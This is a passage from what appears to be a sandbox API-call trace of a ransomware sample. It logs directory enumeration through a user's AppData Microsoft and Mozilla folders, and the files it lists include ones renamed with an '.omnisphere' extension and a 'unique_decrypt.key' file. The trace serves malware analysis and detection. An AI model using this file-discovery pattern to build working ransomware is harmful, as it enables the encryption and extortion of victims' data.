ftCreationTime.dwLowDateTime=0xed4a4fa5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xed4a4fa5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3d99c283, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x12532, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="TranscodedWallpaper.omnisphere", cAlternateFileName="TRANSC~1.OMN")) returned 1 [0155.375] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d99c283, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3d99c283, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3d99c283, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="TranscodedWallpaper.omnisphere.id", cAlternateFileName="TRANSC~1.ID")) returned 1 [0155.375] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dacd5b2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dacd5b2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3daf3723, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0155.375] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dacd5b2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dacd5b2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3daf3723, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0155.375] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0155.375] GetProcessHeap () returned 0x1600000 [0155.375] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633258 | out: hHeap=0x1600000) returned 1 [0155.375] GetProcessHeap () returned 0x1600000 [0155.375] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668c58 | out: hHeap=0x1600000) returned 1 [0155.375] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed47ed46, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xed5176e5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed5176e5, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Themes", cAlternateFileName="")) returned 0 [0155.375] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0155.375] GetProcessHeap () returned 0x1600000 [0155.375] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f480 | out: hHeap=0x1600000) returned 1 [0155.375] GetProcessHeap () returned 0x1600000 [0155.375] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f700 | out: hHeap=0x1600000) returned 1 [0155.375] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1 [0155.376] GetProcessHeap () returned 0x1600000 [0155.376] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6c) returned 0x16b27e8 [0155.376] PathCombineW (in: pszDest=0x16b27e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Word" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word" [0155.376] GetProcessHeap () returned 0x1600000 [0155.376] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x1606e38 [0155.376] PathCombineW (in: pszDest=0x1606e38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\*" [0155.376] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0155.377] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0155.377] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0155.377] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="STARTUP", cAlternateFileName="")) returned 0 [0155.377] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0155.377] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0155.377] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0155.377] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0155.377] GetProcessHeap () returned 0x1600000 [0155.377] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x16688a0 [0155.377] PathCombineW (in: pszDest=0x16688a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word", pszFile="STARTUP" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP" [0155.377] GetProcessHeap () returned 0x1600000 [0155.377] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x1668928 [0155.377] PathCombineW (in: pszDest=0x1668928, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*" [0155.377] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd6, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0155.378] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd6, cFileName="..", cAlternateFileName="")) returned 1 [0155.378] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd6, cFileName="..", cAlternateFileName="")) returned 0 [0155.378] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0155.378] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0155.378] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0155.378] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 0 [0155.378] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0155.378] GetProcessHeap () returned 0x1600000 [0155.378] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668928 | out: hHeap=0x1600000) returned 1 [0155.378] GetProcessHeap () returned 0x1600000 [0155.378] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16688a0 | out: hHeap=0x1600000) returned 1 [0155.378] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="STARTUP", cAlternateFileName="")) returned 0 [0155.379] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0155.379] GetProcessHeap () returned 0x1600000 [0155.379] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1606e38 | out: hHeap=0x1600000) returned 1 [0155.379] GetProcessHeap () returned 0x1600000 [0155.379] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b27e8 | out: hHeap=0x1600000) returned 1 [0155.379] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0 [0155.379] FindClose (in: hFindFile=0x1639768 | out: hFindFile=0x1639768) returned 1 [0155.379] GetProcessHeap () returned 0x1600000 [0155.379] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a420 | out: hHeap=0x1600000) returned 1 [0155.379] GetProcessHeap () returned 0x1600000 [0155.379] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0155.379] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0155.379] GetProcessHeap () returned 0x1600000 [0155.379] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5e) returned 0x1691aa8 [0155.379] PathCombineW (in: pszDest=0x1691aa8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="Mozilla" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla" [0155.379] GetProcessHeap () returned 0x1600000 [0155.379] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x62) returned 0x163a570 [0155.379] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\*" [0155.379] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0155.380] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="..", cAlternateFileName="")) returned 1 [0155.380] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0155.380] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Firefox", cAlternateFileName="")) returned 1 [0155.380] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Firefox", cAlternateFileName="")) returned 0 [0155.380] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0155.381] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0155.381] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.381] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0155.381] GetProcessHeap () returned 0x1600000 [0155.381] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f700 [0155.381] PathCombineW (in: pszDest=0x163f700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla", pszFile="Extensions" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions" [0155.381] GetProcessHeap () returned 0x1600000 [0155.381] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x78) returned 0x163fd00 [0155.381] PathCombineW (in: pszDest=0x163fd00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\*" [0155.381] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0155.382] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd, cFileName="..", cAlternateFileName="")) returned 1 [0155.382] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd, cFileName="..", cAlternateFileName="")) returned 0 [0155.382] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0155.382] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0155.382] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.383] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0155.383] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0155.383] GetProcessHeap () returned 0x1600000 [0155.383] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fd00 | out: 